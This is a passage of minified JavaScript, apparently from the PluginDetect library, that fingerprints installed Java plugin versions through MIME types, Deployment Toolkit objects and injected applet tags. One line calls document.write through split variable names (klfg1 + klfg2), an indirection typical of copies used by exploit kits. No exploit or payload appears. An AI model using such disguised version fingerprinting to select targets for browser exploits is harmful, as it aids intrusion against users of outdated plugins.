  1453.               if (b) {
  1454.                   g.version = k.convert(g, f.join(",")).v
  1455.               };
  1456.               return g.version
  1457.           }
  1458.       },
  1459.       win: {
  1460.           $: 1,
  1461.           loaded: false,
  1462.           hasRun: 0,
  1463.           init: function() {
  1464.               var b = this,
  1465.                   a = b.$
  1466.           },
  1467.           concatFn: function(d, c) {
  1468.               return function() {
  1469.                   d();
  1470.                   if (typeof c == "function") {
  1471.                       c()
  1472.                   }
  1473.               }
  1474.           },
  1475.           funcs0: [],
  1476.           funcs: [],
  1477.           count: 0,
  1478.           countMax: 1,
  1479.           intervalLength: 50
  1480.       },
  1481.       DOM: {
  1482.           $: 1,
  1483.           isEnabled: {
  1484.               $: 1,
  1485.               objectTag: function() {
  1486.                   var a = this.$;
  1487.                   return a.browser.isIE ? a.browser.ActiveXEnabled : 1
  1488.               },
  1489.               objectProperty: function() {
  1490.                   var a = this.$;
  1491.                   return a.browser.isIE && a.browser.verIE >= 7 ? 1 : 0
  1492.               }
  1493.           },
  1494.           div: null,
  1495.           divID: "plugindetect",
  1496.           divClass: "doNotRemove",
  1497.           divWidth: 50,
  1498.           getDiv: function() {
  1499.               var a = this;
  1500.               return a.div || document.getElementById(a.divID) || null
  1501.           },
  1502.           isDivPermanent: function() {
  1503.               var b = this,
  1504.                   c = b.$,
  1505.                   a = b.getDiv();
  1506.               return a && c.isString(a.className) && a.className.toLowerCase().indexOf(b.divClass.toLowerCase()) > -1 ? 1 : 0
  1507.           },
  1508.           initDiv: function(b) {
  1509.               var c = this,
  1510.                   d = c.$,
  1511.                   a;
  1512.               if (!c.div) {
  1513.                   a = c.getDiv();
  1514.                   if (a) {
  1515.                       c.div = a
  1516.                   } else {
  1517.                       if (b) {
  1518.                           c.div = document.createElement("div");
  1519.                           c.div.id = c.divID
  1520.                       }
  1521.                   }
  1522.                   if (c.div) {
  1523.                       c.setStyle(c.div, c.defaultStyle.concat(["display", "block", "width", c.divWidth + "px", "height", (c.pluginSize + 3) + "px", "fontSize", (c.pluginSize + 3) + "px", "lineHeight", (c.pluginSize + 3) + "px"]));
  1524.                       if (!a) {
  1525.                           c.setStyle(c.div, ["position", "absolute", "right", "0px", "top", "0px"]);
  1526.                           c.insertDivInBody(c.div)
  1527.                       }
  1528.                   }
  1529.               }
  1530.           },
  1531.           pluginSize: 1,
  1532.           altHTML: "&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;",
  1533.           emptyNode: function(c) {
  1534.               var b = this,
  1535.                   d = b.$,
  1536.                   a, f;
  1537.               if (c) {
  1538.                   if (d.browser.isIE) {
  1539.                       b.setStyle(c, ["display", "none"])
  1540.                   }
  1541.                   try {
  1542.                       c.innerHTML = ""
  1543.                   } catch (f) {}
  1544.               }
  1545.           },
  1546.           LASTfuncs: [],
  1547.           onDoneEmptyDiv: function() {
  1548.               var f = this,
  1549.                   g = f.$,
  1550.                   b, d, c, a, h;
  1551.               f.initDiv();
  1552.               if (!g.win.loaded || g.win.funcs0.length || g.win.funcs.length) {
  1553.                   return
  1554.               }
  1555.               for (b in g.Plugins) {
  1556.                   d = g.Plugins[b];
  1557.                   if (d) {
  1558.                       if (d.OTF == 3 || (d.funcs && d.funcs.length)) {
  1559.                           return
  1560.                       }
  1561.                   }
  1562.               }
  1563.               g.ev.callArray(f.LASTfuncs);
  1564.               a = f.getDiv();
  1565.               if (a) {
  1566.                   if (f.isDivPermanent()) {} else {
  1567.                       if (a.childNodes) {
  1568.                           for (b = a.childNodes.length - 1; b >= 0; b--) {
  1569.                               c = a.childNodes[b];
  1570.                               f.emptyNode(c)
  1571.                           }
  1572.                           try {
  1573.                               a.innerHTML = ""
  1574.                           } catch (h) {}
  1575.                       }
  1576.                       if (a.parentNode) {
  1577.                           try {
  1578.                               a.parentNode.removeChild(a)
  1579.                           } catch (h) {}
  1580.                           a = null;
  1581.                           f.div = null
  1582.                       }
  1583.                   }
  1584.               }
  1585.           },
  1586.           width: function() {
  1587.               var g = this,
  1588.                   e = g.DOM,
  1589.                   f = e.$,
  1590.                   d = g.span,
  1591.                   b, c, a = -1;
  1592.               b = d && f.isNum(d.scrollWidth) ? d.scrollWidth : a;
  1593.               c = d && f.isNum(d.offsetWidth) ? d.offsetWidth : a;
  1594.               return c > 0 ? c : (b > 0 ? b : Math.max(c, b))
  1595.           },
  1596.           obj: function(b) {
  1597.               var d = this,
  1598.                   c = d.span,
  1599.                   a = c && c.firstChild ? c.firstChild : null;
  1600.               return a
  1601.           },
  1602.           readyState: function() {
  1603.               var b = this,
  1604.                   a = b.DOM.$;
  1605.               return a.browser.isIE ? a.getPROP(b.obj(), "readyState") : b.undefined
  1606.           },
  1607.           objectProperty: function() {
  1608.               var d = this,
  1609.                   b = d.DOM,
  1610.                   c = b.$,
  1611.                   a;
  1612.               if (b.isEnabled.objectProperty()) {
  1613.                   a = c.getPROP(d.obj(), "object")
  1614.               }
  1615.               return a
  1616.           },
  1617.           getTagStatus: function(b, m, r, p, f, h) {
  1618.               var s = this,
  1619.                   d = s.$,
  1620.                   q;
  1621.               if (!b || !b.span) {
  1622.                   return -2
  1623.               }
  1624.               var k = b.width(),
  1625.                   c = b.readyState(),
  1626.                   a = b.objectProperty();
  1627.               if (a) {
  1628.                   return 1.5
  1629.               }
  1630.               var g = /clsid\s*\:/i,
  1631.                   o = r && g.test(r.outerHTML || "") ? r : (p && g.test(p.outerHTML || "") ? p : 0),
  1632.                   i = r && !g.test(r.outerHTML || "") ? r : (p && !g.test(p.outerHTML || "") ? p : 0),
  1633.                   l = b && g.test(b.outerHTML || "") ? o : i;
  1634.               if (!m || !m.span || !l || !l.span) {
  1635.                   return 0
  1636.               }
  1637.               var j = l.width(),
  1638.                   n = m.width(),
  1639.                   t = l.readyState();
  1640.               if (k < 0 || j < 0 || n <= s.pluginSize) {
  1641.                   return 0
  1642.               }
  1643.               if (h && !b.pi && d.isDefined(a) && d.browser.isIE && b.tagName == l.tagName && b.time <= l.time && k === j && c === 0 && t !== 0) {
  1644.                   b.pi = 1
  1645.               }
  1646.               if (j < n) {
  1647.                   return b.pi ? -0.1 : 0
  1648.               }
  1649.               if (k >= n) {
  1650.                   if (!b.winLoaded && d.win.loaded) {
  1651.                       return b.pi ? -0.5 : -1
  1652.                   }
  1653.                   if (d.isNum(f)) {
  1654.                       if (!d.isNum(b.count2)) {
  1655.                           b.count2 = f
  1656.                       }
  1657.                       if (f - b.count2 > 0) {
  1658.                           return b.pi ? -0.5 : -1
  1659.                       }
  1660.                   }
  1661.               }
  1662.               try {
  1663.                   if (k == s.pluginSize && (!d.browser.isIE || c === 4)) {
  1664.                       if (!b.winLoaded && d.win.loaded) {
  1665.                           return 1
  1666.                       }
  1667.                       if (b.winLoaded && d.isNum(f)) {
  1668.                           if (!d.isNum(b.count)) {
  1669.                               b.count = f
  1670.                           }
  1671.                           if (f - b.count >= 5) {
  1672.                               return 1
  1673.                           }
  1674.                       }
  1675.                   }
  1676.               } catch (q) {}
  1677.               return b.pi ? -0.1 : 0
  1678.           },
  1679.           setStyle: function(b, h) {
  1680.               var c = this,
  1681.                   d = c.$,
  1682.                   g = b.style,
  1683.                   a, f;
  1684.               if (g && h) {
  1685.                   for (a = 0; a < h.length; a = a + 2) {
  1686.                       try {
  1687.                           g[h[a]] = h[a + 1]
  1688.                       } catch (f) {}
  1689.                   }
  1690.               }
  1691.           },
  1692.           insertDivInBody: function(a, h) {
  1693.               var j = this,
  1694.                   d = j.$,
  1695.                   g, b = "pd33993399",
  1696.                   c = null,
  1697.                   i = h ? window.top.document : window.document,
  1698.                   f = i.getElementsByTagName("body")[0] || i.body;
  1699.               if (!f) {
  1700.                   try {
  1701.                       i[klfg1 + klfg2]('<div id="' + b + '">./div>');
  1702.                       c = i.getElementById(b)
  1703.                   } catch (g) {}
  1704.               }
  1705.               f = i.getElementsByTagName("body")[0] || i.body;
  1706.               if (f) {
  1707.                   f.insertBefore(a, f.firstChild);
  1708.                   if (c) {
  1709.                       f.removeChild(c)
  1710.                   }
  1711.               }
  1712.           },
  1713.           defaultStyle: ["verticalAlign", "baseline", "outlineStyle", "none", "borderStyle", "none", "padding", "0px", "margin", "0px", "visibility", "visible"],
  1714.           insert: function(b, i, g, h, c, q, o) {
  1715.               var s = this,
  1716.                   f = s.$,
  1717.                   r, t = document,
  1718.                   v, m, p = t.createElement("span"),
  1719.                   k, a, l = "outline-style:none;border-style:none;padding:0px;margin:0px;visibility:" + (q ? "hidden;" : "visible;") + "display:inline;";
  1720.               if (!f.isDefined(h)) {
  1721.                   h = ""
  1722.               }
  1723.               if (f.isString(b) && (/[^\s]/).test(b)) {
  1724.                   b = b.toLowerCase().replace(/\s/g, "");
  1725.                   v = "<" + b + " ";
  1726.                   v += 'style="' + l + '" ';
  1727.                   var j = 1,
  1728.                       u = 1;
  1729.                   for (k = 0; k < i.length; k = k + 2) {
  1730.                       if (/[^\s]/.test(i[k + 1])) {
  1731.                           v += i[k] + '="' + i[k + 1] + '" '
  1732.                       }
  1733.                       if ((/width/i).test(i[k])) {
  1734.                           j = 0
  1735.                       }
  1736.                       if ((/height/i).test(i[k])) {
  1737.                           u = 0
  1738.                       }
  1739.                   }
  1740.                   v += (j ? 'width="' + s.pluginSize + '" ' : "") + (u ? 'height="' + s.pluginSize + '" ' : "");
  1741.                   v += ">";
  1742.                   for (k = 0; k < g.length; k = k + 2) {
  1743.                       if (/[^\s]/.test(g[k + 1])) {
  1744.                           v += '<param name="' + g[k] + '" value="' + g[k + 1] + '" />'
  1745.                       }
  1746.                   }
  1747.                   v += h + "</" + b + ">"
  1748.               } else {
  1749.                   b = "";
  1750.                   v = h
  1751.               }
  1752.               if (!o) {
  1753.                   s.initDiv(1)
  1754.               }
  1755.               var n = o || s.getDiv();
  1756.               m = {
  1757.                   span: null,
  1758.                   winLoaded: f.win.loaded,
  1759.                   tagName: b,
  1760.                   outerHTML: v,
  1761.                   DOM: s,
  1762.                   time: new Date().getTime(),
  1763.                   width: s.width,
  1764.                   obj: s.obj,
  1765.                   readyState: s.readyState,
  1766.                   objectProperty: s.objectProperty
  1767.               };
  1768.               if (n && n.parentNode) {
  1769.                   s.setStyle(p, s.defaultStyle.concat(["display", "inline"]).concat(o ? [] : ["fontSize", (s.pluginSize + 3) + "px", "lineHeight", (s.pluginSize + 3) + "px"]));
  1770.                   n.appendChild(p);
  1771.                   try {
  1772.                       p.innerHTML = v
  1773.                   } catch (r) {};
  1774.                   m.span = p;
  1775.                   m.winLoaded = f.win.loaded
  1776.               }
  1777.               return m
  1778.           }
  1779.       },
  1780.       file: {
  1781.           $: 1,
  1782.           any: "fileStorageAny999",
  1783.           valid: "fileStorageValid999",
  1784.           save: function(d, f, c) {
  1785.               var b = this,
  1786.                   e = b.$,
  1787.                   a;
  1788.               if (d && e.isDefined(c)) {
  1789.                   if (!d[b.any]) {
  1790.                       d[b.any] = []
  1791.                   }
  1792.                   if (!d[b.valid]) {
  1793.                       d[b.valid] = []
  1794.                   }
  1795.                   d[b.any].push(c);
  1796.                   a = b.split(f, c);
  1797.                   if (a) {
  1798.                       d[b.valid].push(a)
  1799.                   }
  1800.               }
  1801.           },
  1802.           getValidLength: function(a) {
  1803.               return a && a[this.valid] ? a[this.valid].length : 0
  1804.           },
  1805.           getAnyLength: function(a) {
  1806.               return a && a[this.any] ? a[this.any].length : 0
  1807.           },
  1808.           getValid: function(c, a) {
  1809.               var b = this;
  1810.               return c && c[b.valid] ? b.get(c[b.valid], a) : null
  1811.           },
  1812.           getAny: function(c, a) {
  1813.               var b = this;
  1814.               return c && c[b.any] ? b.get(c[b.any], a) : null
  1815.           },
  1816.           get: function(d, a) {
  1817.               var c = d.length - 1,
  1818.                   b = this.$.isNum(a) ? a : c;
  1819.               return (b < 0 || b > c) ? null : d[b]
  1820.           },
  1821.           split: function(g, c) {
  1822.               var b = this,
  1823.                   e = b.$,
  1824.                   f = null,
  1825.                   a, d;
  1826.               g = g ? g.replace(".", "\\.") : "";
  1827.               d = new RegExp("^(.*[^\\/])(" + g + "\\s*)$");
  1828.               if (e.isString(c) && d.test(c)) {
  1829.                   a = (RegExp.$1).split("/");
  1830.                   f = {
  1831.                       name: a[a.length - 1],
  1832.                       ext: RegExp.$2,
  1833.                       full: c
  1834.                   };
  1835.                   a[a.length - 1] = "";
  1836.                   f.path = a.join("/")
  1837.               }
  1838.               return f
  1839.           },
  1840.           z: 0
  1841.       },
  1842.       Plugins: {
  1843.           java: {
  1844.               $: 1,
  1845.               mimeType: ["application/x-java-applet", "application/x-java-vm", "application/x-java-bean"],
  1846.               mimeType_dummy: "application/dummymimejavaapplet",
  1847.               classID: "clsid:8AD9C840-044E-11D1-B3E9-00805F499D93",
  1848.               classID_dummy: "clsid:8AD9C840-044E-11D1-B3E9-BA9876543210",
  1849.               navigator: {
  1850.                   $: 1,
  1851.                   a: (function() {
  1852.                       var b, a = !0;
  1853.                       try {
  1854.                           a = window.navigator.javaEnabled()
  1855.                       } catch (b) {}
  1856.                       return a
  1857.                   })(),
  1858.                   javaEnabled: function() {
  1859.                       var t = this;
  1860.                       return t.a
  1861.                   },
  1862.                   mimeObj: 0,
  1863.                   pluginObj: 0
  1864.               },
  1865.               OTF: null,
  1866.               getVerifyTagsDefault: function() {
  1867.                   return [1, this.applet.isDisabled.VerifyTagsDefault_1() ? 0 : 1, 1]
  1868.               },
  1869.               getVersion: function(j, g, i) {
  1870.                   var b = this,
  1871.                       d = b.$,
  1872.                       e, a = b.applet,
  1873.                       h = b.verify,
  1874.                       k = b.navigator,
  1875.                       f = null,
  1876.                       l = null,
  1877.                       c = null;
  1878.                   if (b.getVersionDone === null) {
  1879.                       b.OTF = 0;
  1880.                       k.mimeObj = d.hasMimeType(b.mimeType);
  1881.                       if (k.mimeObj) {
  1882.                           k.pluginObj = k.mimeObj.enabledPlugin
  1883.                       }
  1884.                       if (h) {
  1885.                           h.begin()
  1886.                       }
  1887.                   }
  1888.                   a.setVerifyTagsArray(i);
  1889.                   d.file.save(b, ".jar", g);
  1890.                   if (b.getVersionDone === 0) {
  1891.                       if (a.should_Insert_Query_Any()) {
  1892.                           e = a.insert_Query_Any(j);
  1893.                           b.setPluginStatus(e[0], e[1], f, j)
  1894.                       }
  1895.                       return
  1896.                   }
  1897.                   if ((!f || d.dbug) && b.navMime.query().version) {
  1898.                       f = b.navMime.version
  1899.                   }
  1900.                   if ((!f || d.dbug) && b.DTK.query(d.dbug).version) {
  1901.                       f = b.DTK.version
  1902.                   }
  1903.                   if ((!f || d.dbug) && b.navPlugin.query().version) {
  1904.                       f = b.navPlugin.version
  1905.                   }
  1906.                   if (b.nonAppletDetectionOk(f)) {
  1907.                       c = f
  1908.                   }
  1909.                   b.setPluginStatus(c, l, f, j);
  1910.                   if (a.should_Insert_Query_Any()) {
  1911.                       e = a.insert_Query_Any(j);
  1912.                       if (e[0]) {
  1913.                           c = e[0];
  1914.                           l = e[1]
  1915.                       }
  1916.                   }
  1917.                   b.setPluginStatus(c, l, f, j)
  1918.               },
  1919.               nonAppletDetectionOk: function(b) {
  1920.                   var d = this,
  1921.                       e = d.$,
  1922.                       a = d.navigator,
  1923.                       c = 1;
  1924.                   if (!b || !a.javaEnabled() || (!e.browser.isIE && !a.mimeObj) || (e.browser.isIE && !e.browser.ActiveXEnabled)) {
  1925.                       c = 0
  1926.                   } else {
  1927.                       if (e.OS >= 20) {} else {
  1928.                           if (d.info && d.info.getPlugin2Status() < 0 && d.info.BrowserRequiresPlugin2()) {
  1929.                               c = 0
  1930.                           }
  1931.                       }
  1932.                   }
  1933.                   return c
  1934.               },
  1935.               setPluginStatus: function(d, i, g, h) {
  1936.                   var b = this,
  1937.                       e = b.$,
  1938.                       f, c = 0,
  1939.                       a = b.applet;
  1940.                   g = g || b.version0;
  1941.                   f = a.isRange(d);
  1942.                   if (f) {
  1943.                       if (a.setRange(f, h) == d) {
  1944.                           c = f
  1945.                       }
  1946.                       d = 0
  1947.                   }
  1948.                   if (b.OTF < 3) {
  1949.                       b.installed = c ? (c > 0 ? 0.7 : -0.1) : (d ? 1 : (g ? -0.2 : -1))
  1950.                   }
  1951.                   if (b.OTF == 2 && b.NOTF && !b.applet.getResult()[0]) {
  1952.                       b.installed = g ? -0.2 : -1
  1953.                   }
  1954.                   if (b.OTF == 3 && b.installed != -0.5 && b.installed != 0.5) {
  1955.                       b.installed = (b.NOTF.isJavaActive(1) == 1 ? 0.5 : -0.5)
  1956.                   }
  1957.                   if (b.OTF == 4 && (b.installed == -0.5 || b.installed == 0.5)) {
  1958.                       if (d) {
  1959.                           b.installed = 1
  1960.                       } else {
  1961.                           if (c) {
  1962.                               b.installed = c > 0 ? 0.7 : -0.1
  1963.                           } else {
  1964.                               if (b.NOTF.isJavaActive(1) == 1) {
  1965.                                   if (g) {
  1966.                                       b.installed = 1;
  1967.                                       d = g
  1968.                                   } else {
  1969.                                       b.installed = 0
  1970.                                   }
  1971.                               } else {
  1972.                                   if (g) {
  1973.                                       b.installed = -0.2
  1974.                                   } else {
  1975.                                       b.installed = -1
  1976.                                   }
  1977.                               }
  1978.                           }
  1979.                       }
  1980.                   }
  1981.                   if (g) {
  1982.                       b.version0 = e.formatNum(e.getNum(g))
  1983.                   }
  1984.                   if (d && !c) {
  1985.                       b.version = e.formatNum(e.getNum(d))
  1986.                   }
  1987.                   if (i && e.isString(i)) {
  1988.                       b.vendor = i
  1989.                   }
  1990.                   if (!b.vendor) {
  1991.                       b.vendor = ""
  1992.                   }
  1993.                   if (b.verify && b.verify.isEnabled()) {
  1994.                       b.getVersionDone = 0
  1995.                   } else {
  1996.                       if (b.getVersionDone != 1) {
  1997.                           if (b.OTF < 2) {
  1998.                               b.getVersionDone = 0
  1999.                           } else {
  2000.                               b.getVersionDone = b.applet.can_Insert_Query_Any() ? 0 : 1
  2001.                           }
  2002.                       }
  2003.                   }
  2004.               },
  2005.               DTK: {
  2006.                   $: 1,
  2007.                   hasRun: 0,
  2008.                   status: null,
  2009.                   VERSIONS: [],
  2010.                   version: "",
  2011.                   HTML: null,
  2012.                   Plugin2Status: null,
  2013.                   classID: ["clsid:CAFEEFAC-DEC7-0000-0001-ABCDEFFEDCBA", "clsid:CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA"],
  2014.                   mimeType: ["application/java-deployment-toolkit", "application/npruntime-scriptable-plugin;DeploymentToolkit"],
  2015.                   isDisabled: function(a) {
  2016.                       var c = this,
  2017.                           d = c.$,
  2018.                           b = d.browser;
  2019.                       if (!a && (!d.DOM.isEnabled.objectTag() || (b.isGecko && d.compareNums(b.verGecko, d.formatNum("1.6")) <= 0) || (b.isSafari && d.OS == 1 && (!b.verSafari || d.compareNums(b.verSafari, "5,1,0,0") < 0)) || b.isChrome)) {
  2020.                           return 1
  2021.                       }
  2022.                       return 0
  2023.                   },
  2024.                   query: function(n) {
  2025.                       var l = this,
  2026.                           h = l.$,
  2027.                           f = l.$$,
  2028.                           k, m, i, a = h.DOM.altHTML,
  2029.                           g = {},
  2030.                           b, d = null,
  2031.                           j = null,
  2032.                           c = (l.hasRun || l.isDisabled(n));
  2033.                       l.hasRun = 1;
  2034.                       if (c) {
  2035.                           return l
  2036.                       }
  2037.                       l.status = 0;
  2038.                       if (h.browser.isIE) {
  2039.                           for (m = 0; m < l.classID.length; m++) {
  2040.                               l.HTML = h.DOM.insert("object", ["classid", l.classID[m]], [], a);
  2041.                               d = l.HTML.obj();
  2042.                               if (h.getPROP(d, "jvms")) {
  2043.                                   break
  2044.                               }
  2045.                           }
  2046.                       } else {
  2047.                           i = h.hasMimeType(l.mimeType);
  2048.                           if (i && i.type) {
  2049.                               l.HTML = h.DOM.insert("object", ["type", i.type], [], a);
  2050.                               d = l.HTML.obj()
  2051.                           }
  2052.                       }
  2053.                       if (d) {
  2054.                           try {
  2055.                               b = h.getPROP(d, "jvms");
  2056.                               if (b) {
  2057.                                   j = b.getLength();
  2058.                                   if (h.isNum(j)) {
  2059.                                       l.status = j > 0 ? 1 : -1;
  2060.                                       for (m = 0; m < j; m++) {
  2061.                                           i = h.getNum(b.get(j - 1 - m).version);
  2062.                                           if (i) {
  2063.                                               l.VERSIONS.push(i);
  2064.                                               g["a" + h.formatNum(i)] = 1
  2065.                                           }
  2066.                                       }
  2067.                                   }
  2068.                               }
  2069.                           } catch (k) {}
  2070.                       }
  2071.                       i = 0;
  2072.                       for (m in g) {
  2073.                           i++
  2074.                       }
  2075.                       if (i && i !== l.VERSIONS.length) {
  2076.                           l.VERSIONS = []
  2077.                       }
  2078.                       if (l.VERSIONS.length) {
  2079.                           l.version = h.formatNum(l.VERSIONS[0])
  2080.                       };
  2081.                       return l
  2082.                   }
  2083.               },
  2084.               navMime: {
  2085.                   $: 1,
  2086.                   hasRun: 0,
  2087.                   mimetype: "",
  2088.                   version: "",
  2089.                   length: 0,
  2090.                   mimeObj: 0,
  2091.                   pluginObj: 0,
  2092.                   isDisabled: function() {
  2093.                       var b = this,
  2094.                           d = b.$,
  2095.                           c = b.$$,
  2096.                           a = c.navigator;
  2097.                       if (d.browser.isIE || !a.mimeObj || !a.pluginObj) {
  2098.                           return 1
  2099.                       }
  2100.                       return 0
  2101.                   },
  2102.                   query: function() {
  2103.                       var i = this,
  2104.                           f = i.$,
  2105.                           a = i.$$,
  2106.                           b = (i.hasRun || i.isDisabled());
  2107.                       i.hasRun = 1;
  2108.                       if (b) {
  2109.                           return i
  2110.                       };
  2111.                       var n = /^\s*application\/x-java-applet;jpi-version\s*=\s*(\d.*)$/i,
  2112.                           g, l, j, d = "",
  2113.                           h = "a",
  2114.                           o, m, k = {},
  2115.                           c = f.formatNum("0");
  2116.                       for (l = 0; l < navigator.mimeTypes.length; l++) {
  2117.                           o = navigator.mimeTypes[l];
  2118.                           m = o ? o.enabledPlugin : 0;
  2119.                           g = o && n.test(o.type || d) ? f.formatNum(f.getNum(RegExp.$1)) : 0;
  2120.                           if (g && m && (m.description || m.name)) {
  2121.                               if (!k[h + g]) {
  2122.                                   i.length++
  2123.                               }
  2124.                               k[h + g] = o.type;
  2125.                               if (f.compareNums(g, c) > 0) {
  2126.                                   c = g
  2127.                               }
  2128.                           }
  2129.                       }
  2130.                       g = k[h + c];
  2131.                       if (g) {
  2132.                           o = f.hasMimeType(g);
  2133.                           i.mimeObj = o;
  2134.                           i.pluginObj = o ? o.enabledPlugin : 0;
  2135.                           i.mimetype = g;
  2136.                           i.version = c
  2137.                       };
  2138.                       return i
  2139.                   }
  2140.               },
  2141.               navPlugin: {
  2142.                   $: 1,
  2143.                   hasRun: 0,
  2144.                   version: "",
  2145.                   isDisabled: function() {
  2146.                       var d = this,
  2147.                           c = d.$,
  2148.                           b = d.$$,
  2149.                           a = b.navigator;
  2150.                       if (c.browser.isIE || !a.mimeObj || !a.pluginObj) {
  2151.                           return 1
  2152.                       }
  2153.                       return 0
  2154.                   },
  2155.                   query: function() {
  2156.                       var m = this,
  2157.                           e = m.$,
  2158.                           c = m.$$,
  2159.                           h = c.navigator,
  2160.                           j, l, k, g, d, a, i, f = 0,
  2161.                           b = (m.hasRun || m.isDisabled());
  2162.                       m.hasRun = 1;
  2163.                       if (b) {
  2164.                           return m
  2165.                       };
  2166.                       a = h.pluginObj.name || "";
  2167.                       i = h.pluginObj.description || "";
  2168.                       if (!f || e.dbug) {
  2169.                           g = /Java.*TM.*Platform[^\d]*(\d+)(?:[\.,_](\d*))?(?:\s*[Update]+\s*(\d*))?/i;
  2170.                           if ((g.test(a) || g.test(i)) && parseInt(RegExp.$1, 10) >= 5) {
  2171.                               f = "1," + RegExp.$1 + "," + (RegExp.$2 ? RegExp.$2 : "0") + "," + (RegExp.$3 ? RegExp.$3 : "0")
  2172.                           }
  2173.                       }
  2174.                       if (!f || e.dbug) {
  2175.                           g = /Java[^\d]*Plug-in/i;
  2176.                           l = g.test(i) ? e.formatNum(e.getNum(i)) : 0;
  2177.                           k = g.test(a) ? e.formatNum(e.getNum(a)) : 0;
  2178.                           if (l && (e.compareNums(l, e.formatNum("1,3")) < 0 || e.compareNums(l, e.formatNum("2")) >= 0)) {
  2179.                               l = 0
  2180.                           }
  2181.                           if (k && (e.compareNums(k, e.formatNum("1,3")) < 0 || e.compareNums(k, e.formatNum("2")) >= 0)) {
  2182.                               k = 0
  2183.                           }
  2184.                           d = l && k ? (e.compareNums(l, k) > 0 ? l : k) : (l || k);
  2185.                           if (d) {
  2186.                               f = d
  2187.                           }
  2188.                       }
  2189.                       if (!f && e.browser.isSafari && e.OS == 2) {
  2190.                           j = e.findNavPlugin("Java.*\\d.*Plug-in.*Cocoa", 0);
  2191.                           if (j) {
  2192.                               l = e.getNum(j.description);
  2193.                               if (l) {
  2194.                                   f = l
  2195.                               }
  2196.                           }
  2197.                       };
  2198.                       if (f) {
  2199.                           m.version = e.formatNum(f)
  2200.                       };
  2201.                       return m
  2202.                   }
  2203.               },
  2204.               applet: {
  2205.                   $: 1,
  2206.                   codebase: {
  2207.                       $: 1,
  2208.                       isMin: function(a) {
  2209.                           return this.$.codebase.isMin(this, a)
  2210.                       },
  2211.                       search: function() {
  2212.                           return this.$.codebase.search(this)
  2213.                       },
  2214.                       ParamTags: '<param name="code" value="A19999.class" /><param name="codebase_lookup" value="false" />',
  2215.                       DIGITMAX: [
  2216.                           [16, 64],
  2217.                           [0, 0, 512], 0, [0, 0, 0, 256], 0, [0, 0, 0, 1],
  2218.                           [0, 0, 0, 64],
  2219.                           [0, 0, 0, 32]
  2220.                       ],
  2221.                       DIGITMIN: [1, 0, 0, 0],
  2222.                       Upper: ["999", "10", "5,0,20", "1,5,0,20", "1,4,1,20", "1,4,1,2", "1,4,1", "1,4"],
  2223.                       Lower: ["10", "5,0,20", "1,5,0,20", "1,4,1,20", "1,4,1,2", "1,4,1", "1,4", "0"],
  2224.                       convert: [function(b, a) {
  2225.                           return a ? [parseInt(b[0], 10) > 1 ? "99" : parseInt(b[1], 10) + 3 + "", b[3], "0", "0"] : ["1", parseInt(b[0], 10) - 3 + "", "0", b[1]]
  2226.                       }, function(b, a) {
  2227.                           return a ? [b[1], b[2], b[3] + "0", "0"] : ["1", b[0], b[1], b[2].substring(0, b[2].length - 1 || 1)]
  2228.                       }, 0, function(b, a) {
  2229.                           return a ? [b[0], b[1], b[2], b[3] + "0"] : [b[0], b[1], b[2], b[3].substring(0, b[3].length - 1 || 1)]
  2230.                       }, 0, 1, function(b, a) {
  2231.                           return a ? [b[0], b[1], b[2], b[3] + "0"] : [b[0], b[1], b[2], b[3].substring(0, b[3].length - 1 || 1)]
  2232.                       }, 1]
  2233.                   },
  2234.                   results: [
  2235.                       [null, null],
  2236.                       [null, null],
  2237.                       [null, null],
  2238.                       [null, null]
  2239.                   ],
  2240.                   getResult: function() {
  2241.                       var b = this,
  2242.                           d = b.results,
  2243.                           a, c = [];
  2244.                       for (a = d.length - 1; a >= 0; a--) {
  2245.                           c = d[a];
  2246.                           if (c[0]) {
  2247.                               break
  2248.                           }
  2249.                       }
  2250.                       c = [].concat(c);
  2251.                       return c
  2252.                   },
  2253.                   DummySpanTagHTML: 0,
  2254.                   HTML: [0, 0, 0, 0],
  2255.                   active: [0, 0, 0, 0],
  2256.                   DummyObjTagHTML: 0,
  2257.                   DummyObjTagHTML2: 0,
  2258.                   allowed: [1, 1, 1, 1],
  2259.                   VerifyTagsHas: function(c) {
  2260.                       var d = this,
  2261.                           b;
  2262.                       for (b = 0; b < d.allowed.length; b++) {
  2263.                           if (d.allowed[b] === c) {
  2264.                               return 1
  2265.                           }
  2266.                       }
  2267.                       return 0
  2268.                   },
  2269.                   saveAsVerifyTagsArray: function(c) {
  2270.                       var b = this,
  2271.                           d = b.$,
  2272.                           a;
  2273.                       if (d.isArray(c)) {
  2274.                           for (a = 1; a < b.allowed.length; a++) {
  2275.                               if (c.length > a - 1 && d.isNum(c[a - 1])) {
  2276.                                   if (c[a - 1] < 0) {
  2277.                                       c[a - 1] = 0
  2278.                                   }
  2279.                                   if (c[a - 1] > 3) {
  2280.                                       c[a - 1] = 3
  2281.                                   }
  2282.                                   b.allowed[a] = c[a - 1]
  2283.                               }
  2284.                           }
  2285.                           b.allowed[0] = b.allowed[3]
  2286.                       }
  2287.                   },
  2288.                   setVerifyTagsArray: function(d) {
  2289.                       var b = this,
  2290.                           c = b.$,
  2291.                           a = b.$$;
  2292.                       if (a.getVersionDone === null) {
  2293.                           b.saveAsVerifyTagsArray(a.getVerifyTagsDefault())
  2294.                       }
  2295.                       if (c.dbug) {
  2296.                           b.saveAsVerifyTagsArray([3, 3, 3])
  2297.                       } else {
  2298.                           if (d) {
  2299.                               b.saveAsVerifyTagsArray(d)
  2300.                           }
  2301.                       }
  2302.                   },
  2303.                   isDisabled: {
  2304.                       $: 1,
  2305.                       single: function(d) {
  2306.                           var a = this,
  2307.                               c = a.$,
  2308.                               b = a.$$;
  2309.                           if (d == 0) {
  2310.                               return c.codebase.isDisabled()
  2311.                           }
  2312.                           if ((d == 3 && !c.browser.isIE) || a.all()) {
  2313.                               return 1
  2314.                           }
  2315.                           if (d == 1 || d == 3) {
  2316.                               return !c.DOM.isEnabled.objectTag()
  2317.                           }
  2318.                           if (d == 2) {
  2319.                               return a.AppletTag()
  2320.                           }
  2321.                       },
  2322.                       aA_: null,
  2323.                       all: function() {
  2324.                           var c = this,
  2325.                               f = c.$,
  2326.                               e = c.$$,
  2327.                               b = e.navigator,
  2328.                               a = 0,
  2329.                               d = f.browser;
  2330.                           if (c.aA_ === null) {
  2331.                               if (f.OS >= 20) {
  2332.                                   a = 0
  2333.                               } else {
  2334.                                   if (d.verOpera && d.verOpera < 11 && !b.javaEnabled()) {
  2335.                                       a = 1
  2336.                                   } else {
